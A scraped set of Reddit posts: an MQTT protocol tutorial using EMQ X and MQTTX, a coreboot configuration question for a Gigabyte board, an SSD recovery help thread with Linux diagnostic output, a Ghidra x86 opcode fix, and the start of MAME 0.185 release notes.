Username/Password

MQTT can implement related authentication and authorization by sending the username and password. However, if this information is not encrypted, the username and password are sent in clear text. EMQ X not only supports SSL / TLS encryption, but also provides emqx-auth-username plugin to encrypt passwords.

Keep Alive

Keep Alive is a time interval in seconds. It refers to the maximum time interval allowed between the time when the client transmits a control packet to the time when the next message is sent. The client is responsible for ensuring that the interval of sending control packets does not exceed the value of the keep-alive. If no other control packet can be sent, the client must send a PINGREQ packet.
If the value of Keep Alive is non-zero, and the server does not receive the control packet from the client within 1.5 times of the Keep Alive time, it must disconnect the client's network connection and consider the network connection to be disconnected.

Clean Session

The client and server can save session state to support reliable message transmission across network connections. This flag tells the server whether this connection is a brand new connection.
The session state of the client includes:
  • QoS 1 and QoS 2 level messages that have been sent to the server but have not yet been confirmed
  • QoS 2 level messages that have been received from the server but have not yet been confirmed
The session state of the server includes:
  • Whether the session exists, even if the rest of the session state is empty.
  • Client's subscription information.
  • QoS 1 and QoS 2 level messages that have been sent to the client but have not yet been confirmed
  • QoS 1 and QoS 2 level messages to be transferred to the client.
  • QoS 2 level messages that have been received from the client but have not yet been confirmed
  • Optional, QoS 0 level message to be sent to the client.
If the CleanSession flag is set to 1, the client and server must discard any previous sessions and start a new session. The session only lasts as long as the network connection.
If the CleanSession flag is set to 0, the server must resume communication with the client based on the state of the current session (identified by ClientId). If there is no session associated with this client identifier, the server must create a new session. When the connection is disconnected, the client and server must save the session information.

Connack confirms connection request

When the client sends a Connect packet to request a connection to the server, the server must send a Connack packet as a response to the Connect packet from the client. If the client does not receive the CONNACK packet from the server within a reasonable time, the client should close the network connection. The reasonable time depends on the type of application and the communication infrastructure. In MQTTX, you can set a reasonable timeout time through Connection Timeout.

https://preview.redd.it/5s7mbx4lvdj41.png?width=924&format=png&auto=webp&s=d9b212f8a4b68ba762d409957516295bd4e7bdaf
Connack messages contain two important signs of Session Present and Connect Return code.

Session Present

Session Present flag indicates whether the current session is a new session. If the server receives a connection with a CleanSession flag of 1, the SessionPresent flag in the Connack packet is 0. If the server receives a connection with CleanSession 0, the value of the SessionPresent flag depends on whether the server has saved the session state of the client corresponding to ClientId. If the server has saved the session state, the SessionPresent flag in the Connack packet is 1. If the server has no saved session state, the SessionPresent flag in the Connack packet is 0.

Connect Return code

Connect Return code represents the server's response to this Connect, and 0 indicates that the connection has been accepted by the server. If the server receives a valid CONNECT packet but cannot process it for some reason, the server should try to send a CONNACK packet with a non-zero return code (one in the following table). If the server sends a CONNACK packet with a non-zero return code, it must close the network connection.
Value Return Code Response Description
0 0x00 connection accepted The connection has been accepted by the server
1 0x01 connection refused, unsupported protocol version The server does not support the MQTT protocol level requested by the client
2 0x02 connection refused, unqualified client identifier The client identifier is correctly UTF-8 encoded, but is not allowed by the server
3 0x03 Connection refused, server is unavailable Network connection has been established, but MQTT service is unavailable
4 0x04 connection refused, invalid username or password Data format for username or password is invalid
5 0x05 connection refused, unauthorized Client is not authorized to connect to this server
6-255 retained
If all connection return codes in the above table are considered inappropriate, the server must close the network connection without sending a CONNACK packet.

Subscribe to topics

The client sends a Subscribe packet to the server to create one or more subscriptions. Each registered client cares about one or more topics. In order to forward application messages to topics that match those subscriptions, the server sends Publish packet to the client. The Subscribe packet specifies the maximum QoS level for each subscription, and the server sends an application message to the client based on it.

https://preview.redd.it/hev5rgcnvdj41.png?width=2050&format=png&auto=webp&s=a9010f67a975b7aa375c4109a69f95fd4fc8b328
The payload of a Subscribe packet must contain at least one pair of topic filter and QoS level fields combination. A Subscribe packet without a payload is a violation of the protocol.
Use MQTTX to connect the Broker of broker.emqx.io:1883and create a subscription with the topic of testtopic/# and Qos equal to 2.

https://preview.redd.it/1q0t9q6pvdj41.png?width=2050&format=png&auto=webp&s=faa27c0912ae72d391bdbe898f06941a602c978a

Suback subscription confirmation

The server sends a Suback packet to the client to confirm that it has received Subscribe packet and is processing it .

https://preview.redd.it/32cmrl2rvdj41.png?width=924&format=png&auto=webp&s=a4a4e8f0e77dbe5b637afd19617b9bd125cffd04
The Suback packet contains a list of reason codes, which is used to specify the maximum QoS level or an error that occurs for each subscription requested by the Subscribe packet. Each reason code corresponds to a topic filter in the Subscribe packet. The reason code sequence in the Suback packet must match the order of the topic filters in the Subscribe packet.
Allowed values of return code:
  • 0x00 - maximum QoS 0
  • 0x01 - success – maximum QoS 1
  • 0x02 - success – maximum QoS 2
  • 0x80 - Failure

Publish messages

Publish packet refers to an application message transmitted from the client to the server or from the server to the client. After receiving the Publish packet, the server forwards the message to other clients according to the topic filter.

https://preview.redd.it/suu4vmeuvdj41.png?width=1422&format=png&auto=webp&s=f3c0a4296e8a8285e87a4e05ff5c5f23eba3a043
Try using MQTTX to publish a message with the topic testtopic / mytopic and the content{"msg": "hello world"}. Because the topic testtopic / # has been subscribed before, the message forwarded by Broker is received immediately.

https://preview.redd.it/ym0a72gvvdj41.png?width=2050&format=png&auto=webp&s=4e4e543d6adb96a8c3dc6c69d7baad0b1d25f462

Topic

The topic name is used to identify which session the message should be published. The topic name of the Publish packet sent by the server to the subscribing client must match the topic filter of the subscription.

QoS

QoS refers the quality level of service for application message distribution
QoS value Bit 2 Bit 1 Description
0 0 0 Distribute at most once
1 0 1 Distribute at least once
2 1 0 Distribute only once
- 1 1 Retained
Publish packet cannot set all QoS bits to 1. If the server or client receives a Publish packet with all QoS bits set to 1, it must close the network connection.
For the working principle of different levels of QoS, please refer to MQTT 5.0 Protocol Introduction-QoS Quality of Service.

Retain

If the RETAIN flag of the Publish packet sent by the client to the server is set to 1, the server must store this application message and its quality of service level (QoS) so that it can be distributed to future subscriber with the matching topic names . When a new subscription is created, for each matching topic name, if there is a recently retained message, it must be sent to this subscriber. If the server receives a Q message with a RETAIN flag of 1, it must discard any messages previously retaind for that topic and treat this new message as a new retained message for that topic.
Publish packet with a retain flag of 1 and a payload of zero bytes will be treated as a normal message by the server, and it will be sent to the client that matches the topic of the subscription. In addition, any existing retained messages under the same topic must be removed, so any subscribers following this topic will not receive a retained message
When the server sends a Publish packet to the client, if the message is sent as a result of a new subscription by the client, it must set the retain flag of the packet to 1. When a Publish packet is sent to the client because it matches an established subscription, the server must set the retain flag to 0, regardless of the value of the retain flag in the message it receives.
If the retain flag of the Publish packet sent by the client to the server is 0, the server cannot store the message and cannot remove or replace any existing retained message.

Payload

The payload contains application messages to be published. The content and format of the data is specific to the application and images, any encoded text, encrypted data, and almost all binary data can be sent .
submitted by emqtt to emqx [link] [comments]

GA-G41M-ES2L: does CONFIG_POWER_STATE_ON_AFTER_FAILURE=y work for anyone?

CONFIG_POWER_STATE_ON_AFTER_FAILURE=y means it should go to S0 Full On, right? Mine stays off after power restore, regardless of whether it was on or off when the power cut out. Does this functionality depend on the CPU or PSU? Mine sports the E5450 Xeon (works great).
I'm on 4.10 and this is my config, with commented lines omitted: CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y CONFIG_COMPRESS_RAMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_RELOCATABLE_RAMSTAGE=y CONFIG_CACHE_RELOCATED_RAMSTAGE_OUTSIDE_CBMEM=y CONFIG_VENDOR_GIGABYTE=y CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_DIR="gigabyte/ga-g41m-es2l" CONFIG_MAINBOARD_PART_NUMBER="GA-G41M-ES2L" CONFIG_MAX_CPUS=4 CONFIG_CBFS_SIZE=0x100000 CONFIG_UART_FOR_CONSOLE=0 CONFIG_PAYLOAD_CONFIGFILE="" CONFIG_MAINBOARD_VENDOR="GIGABYTE" CONFIG_VGA_BIOS_ID="8086,2e32" CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DIMM_SPD_SIZE=256 CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="GIGABYTE" CONFIG_DEVICETREE="devicetree.cb" CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 CONFIG_DCACHE_RAM_BASE=0xfeffc000 CONFIG_DCACHE_RAM_SIZE=0x4000 CONFIG_MAX_REBOOT_CNT=3 CONFIG_OVERRIDE_DEVICETREE="" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_FMDFILE="" CONFIG_MMCONF_BASE_ADDRESS=0xe0000000 CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_DRIVERS_UART_8250IO=y CONFIG_BOARD_GIGABYTE_GA_G41M_ES2L=y CONFIG_DIMM_MAX=4 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="GA-G41M-ES2L" CONFIG_CPU_ADDR_BITS=36 CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 CONFIG_HEAP_SIZE=0x4000 CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_BOARD_ROMSIZE_KB_1024=y CONFIG_COREBOOT_ROMSIZE_KB_1024=y CONFIG_COREBOOT_ROMSIZE_KB=1024 CONFIG_ROM_SIZE=0x100000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_ON_AFTER_FAILURE=y CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 CONFIG_EHCI_BAR=0xfef00000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" CONFIG_ARCH_ARMV8_EXTENSION=0 CONFIG_STACK_SIZE=0x1000 CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_CLK_PM=y CONFIG_TTYS0_BASE=0x3f8 CONFIG_CONSOLE_CBMEM=y CONFIG_UART_PCI_ADDR=0x0 CONFIG_INTEL_HAS_TOP_SWAP=y CONFIG_INTEL_TOP_SWAP_BOOTBLOCK_SIZE=0x10000 CONFIG_XIP_ROM_SIZE=0x10000 CONFIG_NUM_IPI_STARTS=2 CONFIG_CPU_INTEL_MODEL_6FX=y CONFIG_CPU_INTEL_MODEL_1067X=y CONFIG_CPU_INTEL_MODEL_F3X=y CONFIG_CPU_INTEL_MODEL_F4X=y CONFIG_SOCKET_SPECIFIC_OPTIONS=y CONFIG_SSE2=y CONFIG_CPU_INTEL_SOCKET_LGA775=y CONFIG_CPU_INTEL_COMMON=y CONFIG_SET_IA32_FC_LOCK_BIT=y CONFIG_PARALLEL_MP=y CONFIG_UDELAY_LAPIC=y CONFIG_LAPIC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 CONFIG_SMM_STUB_STACK_SIZE=0x400 CONFIG_CACHE_AS_RAM=y CONFIG_NO_CAR_GLOBAL_MIGRATION=y CONFIG_SMP=y CONFIG_MMX=y CONFIG_SSE=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y CONFIG_CPU_UCODE_BINARIES="../../DP35DP/ncpucode10676.bin" CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/intel/x4x/bootblock.c" CONFIG_NORTHBRIDGE_SPECIFIC_OPTIONS=y CONFIG_NORTHBRIDGE_INTEL_X4X=y CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/intel/i82801gx/bootblock.c" CONFIG_HPET_MIN_TICKS=0x80 CONFIG_SOUTHBRIDGE_INTEL_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y CONFIG_SOUTHBRIDGE_INTEL_I82801GX=y CONFIG_SUPERIO_ITE_COMMON_PRE_RAM=y CONFIG_SUPERIO_ITE_ENV_CTRL=y CONFIG_SUPERIO_ITE_ENV_CTRL_FAN16_CONFIG=y CONFIG_SUPERIO_ITE_ENV_CTRL_PWM_FREQ2=y CONFIG_SUPERIO_ITE_IT8718F=y CONFIG_EC_BASE_ACPI_DATA=0x930 CONFIG_EC_BASE_ACPI_COMMAND=0x934 CONFIG_EC_BASE_HOST_DATA=0x940 CONFIG_EC_BASE_HOST_COMMAND=0x944 CONFIG_EC_BASE_PACKET=0x950 CONFIG_SEABIOS_PS2_TIMEOUT=0 CONFIG_UDK_2013_VERSION=2013 CONFIG_UDK_2015_VERSION=2015 CONFIG_UDK_2017_VERSION=2017 CONFIG_UDK_VERSION=2013 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_AP_IN_SIPI_WAIT=y CONFIG_SIPI_VECTOR_IN_ROM=y CONFIG_RAMBASE=0xe00000 CONFIG_RAMTOP=0x1000000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y CONFIG_HPET_ADDRESS=0xfed00000 CONFIG_ID_SECTION_OFFSET=0x80 CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y CONFIG_HAVE_LINEAR_FRAMEBUFFER=y CONFIG_MAINBOARD_HAS_LIBGFXINIT=y CONFIG_MAINBOARD_USE_LIBGFXINIT=y CONFIG_VGA_TEXT_FRAMEBUFFER=y CONFIG_PCI=y CONFIG_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y CONFIG_CACHE_MRC_SETTINGS=y CONFIG_REALTEK_8168_RESET=y CONFIG_REALTEK_8168_MACADDRESS="de:ad:be:ef:04:20" CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y CONFIG_SPI_FLASH_STMICRO=y CONFIG_DRIVERS_UART=y CONFIG_HAVE_USBDEBUG=y CONFIG_INTEL_GMA_ACPI=y CONFIG_GFX_GMA=y CONFIG_GFX_GMA_INTERNAL_IS_EDP=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="G45" CONFIG_GFX_GMA_INTERNAL_PORT="DP" CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_MC146818=y CONFIG_VGA=y CONFIG_USER_NO_TPM=y CONFIG_PLATFORM_HAS_DRAM_CLEAR=y CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y CONFIG_CONSOLE_SERIAL=y CONFIG_CONSOLE_SERIAL_115200=y CONFIG_TTYS0_BAUD=115200 CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y CONFIG_HWBASE_DEBUG_CB=y CONFIG_HAVE_ACPI_RESUME=y CONFIG_RESUME_PATH_SAME_AS_BOOT=y CONFIG_HAVE_MONOTONIC_TIMER=y CONFIG_HAVE_OPTION_TABLE=y CONFIG_IOAPIC=y CONFIG_USE_WATCHDOG_ON_BOOT=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_COMMON_FADT=y CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_PAYLOAD_SEABIOS=y CONFIG_PAYLOAD_FILE="payloads/external/SeaBIOS/seabios/out/bios.bin.elf" CONFIG_SEABIOS_STABLE=y CONFIG_SEABIOS_VGA_COREBOOT=y CONFIG_SEABIOS_BOOTORDER_FILE="../bootorder.txt" CONFIG_PAYLOAD_VGABIOS_FILE="payloads/external/SeaBIOS/seabios/out/vgabios.bin" CONFIG_SEABIOS_DEBUG_LEVEL=-1 CONFIG_PAYLOAD_OPTIONS="" CONFIG_COMPRESSED_PAYLOAD_LZMA=y CONFIG_COMPRESS_SECONDARY_PAYLOAD=y CONFIG_HAVE_DEBUG_RAM_SETUP=y CONFIG_HAVE_DEBUG_SMBUS=y CONFIG_DEBUG_BOOT_STATE=y CONFIG_NO_EDID_FILL_FB=y CONFIG_RAMSTAGE_ADA=y CONFIG_RAMSTAGE_LIBHWBASE=y CONFIG_HWBASE_DYNAMIC_MMIO=y CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 CONFIG_HWBASE_DIRECT_PCIDEV=y CONFIG_WARNINGS_ARE_ERRORS=y CONFIG_RELOCATABLE_MODULES=y CONFIG_BOOTBLOCK_CUSTOM=y CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_POSTCAR=y CONFIG_HAVE_RAMSTAGE=y
submitted by ironcunts to coreboot [link] [comments]

2015 air SSD recovery (continued)

Hey there,
I posted earlier progress on this last week but burned out on it. Now I'm back and still stuck.
(Apologies if this is a bit of an info dump or these questions are a bit simple, this is all a bit new to me.)
I am attempting to recover data from a SSD from an early 2015 Macbook air. (12+16 pin)
I have connected the device to my linux laptop via QNINE USB 3.0 PCIe SSD Enclosure
I am attempting to check the health of the drive (and then hopefully proceed to ddrescue) however I am unable to access the device. Here is my progress:
Device shows under hwinfo
 [email protected]:~# hwinfo --short .... disk: /dev/sdb WD Elements 25A1 ###This is the external to which i hope to recover data### /dev/sdc JZLLMP ###This is the SSD from the Air### /dev/sda WDC WD3200BEKT-7 .... [email protected]:~# hwinfo --disk 21: SCSI 600.0: 10600 Disk [Created at block.245] Unique ID: rg_L.xHPpM4FLBDC Parent ID: MZfG.DGNzEHzLutF SysFS ID: /class/block/sdb SysFS BusID: 6:0:0:0 SysFS Device Link: /devices/pci0000:00/0000:00:14.0/usb4/4-2/4-2:1.0/host6/target6:0:0/6:0:0:0 Hardware Class: disk Model: "WD Elements 25A1" Vendor: usb 0x1058 "WD" Device: usb 0x25a1 "Elements 25A1" Revision: "1014" Serial ID: "WX91D6871XKF" Driver: "usb-storage", "sd" Driver Modules: "usb_storage", "sd_mod" Device File: /dev/sdb (/dev/sg2) Device Files: /dev/sdb, /dev/disk/by-id/usb-WD_Elements_25A1_575839314436383731584B46-0:0, /dev/disk/by-path/pci-0000:00:14.0-usb-0:2:1.0-scsi-0:0:0:0 Device Number: block 8:16-8:31 (char 21:2) Geometry (Logical): CHS 486397/255/63 Size: 7813969920 sectors a 512 bytes Capacity: 3725 GB (4000752599040 bytes) Module Alias: "usb:v1058p25A1d1014dc00dsc00dp00ic08isc06ip50in00" Driver Info #0: Driver Status: uas is active Driver Activation Cmd: "modprobe uas" Driver Info #1: Driver Status: usb_storage is active Driver Activation Cmd: "modprobe usb_storage" Config Status: cfg=new, avail=yes, need=no, active=unknown Attached to: #11 (USB Controller) 23: SCSI 700.0: 10600 Disk [Created at block.256] Unique ID: BobO.rIWkMfv5WrC Parent ID: pwJ7.vbotARtwtfF SysFS ID: /class/block/sdc SysFS BusID: 7:0:0:0 SysFS Device Link: /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.2/1-1.2:1.0/host7/target7:0:0/7:0:0:0 Hardware Class: disk Model: "JZLLMP" Vendor: usb 0x0525 "MP" Device: usb 0x622b "JZLLMP" Revision: "1.00" Serial ID: "000000000001" Driver: "usb-storage", "sd" Driver Modules: "usb_storage", "sd_mod" Device File: /dev/sdc (/dev/sg3) Device Files: /dev/sdc, /dev/disk/by-id/usb-MP_JZLLMP_000000000001-0:0, /dev/disk/by-path/pci-0000:00:1a.0-usb-0:1.2:1.0-scsi-0:0:0:0 Device Number: block 8:32-8:47 (char 21:3) Geometry (Logical): CHS 1024/0/62 Speed: 480 Mbps Module Alias: "usb:v0525p622Bd0001dc00dsc00dp00ic08isc06ip50in00" Driver Info #0: Driver Status: uas is active Driver Activation Cmd: "modprobe uas" Driver Info #1: Driver Status: usb_storage is active Driver Activation Cmd: "modprobe usb_storage" Config Status: cfg=new, avail=yes, need=no, active=unknown Attached to: #7 (USB Controller) 
Device shows under lsusb
 [email protected]:~# lsusb -v Bus 001 Device 005: ID 0525:622b Netchip Technology, Inc. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.10 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x0525 Netchip Technology, Inc. idProduct 0x622b bcdDevice 0.01 iManufacturer 1 MP iProduct 2 JZLLMP iSerial 3 000000000001 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 32 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0x80 (Bus Powered) MaxPower 500mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 8 Mass Storage bInterfaceSubClass 6 SCSI bInterfaceProtocol 80 Bulk-Only iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Binary Object Store Descriptor: bLength 5 bDescriptorType 15 wTotalLength 22 bNumDeviceCaps 2 USB 2.0 Extension Device Capability: bLength 7 bDescriptorType 16 bDevCapabilityType 2 bmAttributes 0x00000000 (Missing must-be-set LPM bit!) SuperSpeed USB Device Capability: bLength 10 bDescriptorType 16 bDevCapabilityType 3 bmAttributes 0x00 wSpeedsSupported 0x000e Device can operate at Full Speed (12Mbps) Device can operate at High Speed (480Mbps) Device can operate at SuperSpeed (5Gbps) bFunctionalitySupport 1 Lowest fully-functional device speed is Full Speed (12Mbps) bU1DevExitLat 2 micro seconds bU2DevExitLat 100 micro seconds Device Status: 0x0000 (Bus Powered) 
But I cannot find the device under fdisk
[email protected]:~# sudo fdisk -l Disk /dev/sda: 298.1 GiB, 320072933376 bytes, 625142448 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xaaa26db8 Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 1023999 1021952 499M 7 HPFS/NTFS/exFAT /dev/sda2 1026048 157274111 156248064 74.5G 7 HPFS/NTFS/exFAT /dev/sda3 157276158 625141759 467865602 223.1G 5 Extended /dev/sda5 157276160 608598015 451321856 215.2G 83 Linux /dev/sda6 608600064 625141759 16541696 7.9G 82 Linux swap / Solaris Disk /dev/sdb: 3.7 TiB, 4000752599040 bytes, 7813969920 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disklabel type: gpt Disk identifier: 575C8960-690C-4B71-AF02-0BAAC1B5CAE3 Device Start End Sectors Size Type /dev/sdb1 2048 7813967871 7813965824 3.7T Microsoft basic data 
and smart ctl fails as well
[email protected]:~# sudo smartctl -a -T permissive -d scsi /dev/sdc | less smartctl 6.6 2017-11-05 r4594 [x86_64-linux-4.9.0-kali3-amd64] (local build) Copyright (C) 2002-17, Bruce Allen, Christian Franke, www.smartmontools.org === START OF INFORMATION SECTION === Vendor: MP Product: JZLLMP Revision: 1.00 Device type: disk Local Time is: Tue Jan 15 12:27:20 2019 CST NO MEDIUM present in device SMART support is: Unavailable - device lacks SMART capability. === START OF READ SMART DATA SECTION === Current Drive Temperature: 0 C Drive Trip Temperature: 0 C Error Counter logging not supported Device does not support Self Test logging (END) 
I'm at a bit of a loss for next steps. I can't decide if I'm messing up something obvious or this is out of my depth. Can anyone point me in the right direction? For the sake of learning (and because I already spent money on this drive enclosure) I would very much like not to bring this to a data recovery professional unless I get absolutely stuck.
Thanks
Edit: More Dump - not throwing errors when I connect the drive:
 [email protected]:~# dmesg [ 190.213925] usb 1-1.2: USB disconnect, device number 3 [ 197.715760] usb 1-1.2: new high-speed USB device number 5 using ehci-pci [ 197.827098] usb 1-1.2: New USB device found, idVendor=0525, idProduct=622b [ 197.827102] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 197.827105] usb 1-1.2: Product: JZLLMP [ 197.827107] usb 1-1.2: Manufacturer: MP [ 197.827109] usb 1-1.2: SerialNumber: 000000000001 [ 197.827651] usb-storage 1-1.2:1.0: USB Mass Storage device detected [ 197.828298] scsi host7: usb-storage 1-1.2:1.0 [ 198.837271] scsi 7:0:0:0: Direct-Access MP JZLLMP 1.00 PQ: 0 ANSI: 3 [ 198.838360] sd 7:0:0:0: Attached scsi generic sg3 type 0 [ 198.840904] sd 7:0:0:0: [sdc] Write Protect is off [ 198.840910] sd 7:0:0:0: [sdc] Mode Sense: 0f 00 00 00 [ 198.842021] sd 7:0:0:0: [sdc] No Caching mode page found [ 198.842030] sd 7:0:0:0: [sdc] Assuming drive cache: write through [ 198.846788] sd 7:0:0:0: [sdc] Attached SCSI disk 
New Edit: When attempting to mount i get an error:
[email protected]:~# mount /dev/sdc /mnt/test mount: wrong fs type, bad option, bad superblock on /dev/sdc, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so. [email protected]:~# dmesg | tail -3 [ 2388.597340] EXT4-fs (sdc): unable to read superblock [ 2388.598191] EXT4-fs (sdc): unable to read superblock [ 2388.598975] EXT4-fs (sdc): unable to read superblock [email protected]:~# 
.............................................................................................................................
Ok likely final update - I've recreated all my findings without the drive mounted in the USB enclosure and they're identical. Any information/errors/interaction i was seeing was from the USB mount - not the drive. Womp womp. I think Ill just replace the drive for now.
submitted by adacmswtf1 to datarecovery [link] [comments]

Missing x86 Instruction in Ghidra

When I was testing out Ghidra, literally the first binary I threw in there to compare to IDA failed decompilation. I eventually found the culprit was a missing opcode definition in the x86 language file of Ghidra. According to the Intel spec, 0x82 can be either an ADD, OR, ADC, SBB, AND, SUB, XOR, or CMP (in that order in documentation) based on the subsequent byte. While not the same as 0x81 or 0x83, 0x82 shares all of these opcodes with 0x80.
In 'Ghidra\Processors\x86\data\languages\ia.sinc' you will note that 0x82 is present in all of the appropriate instruction conditions except CMP. If you replace the 'byte=0x80' with (byte=0x80 | byte=0x82) and recompile the x86 instructions this will fix the issue.
Additionally, since I couldn't find an option like the one in IDA to "not disassemble 0x00 opcodes", I commented out the line in 'ia.sinc' defining 0x00 as an ADD instruction until I can find a way to add it to the Analysis options.
submitted by specter800 to ghidra [link] [comments]

MAME 0.185 has been released!

MAME 0.185

Today’s the day for our April MAME release, bringing some important fixes as well as the usual assortment of emulation improvements. A bug preventing multiple keys from being mapped to subdevice inputs has been fixed, which means you can now assign multiple keys to buttons in NeoGeo games and consoles/computers with controllekeyboard/mouse slots. Software loading has been reworked in this release, and the user-visible issues in 0.184 should be addressed. An improvement to the debugger allows more cheats in games with encrypted program ROMs.
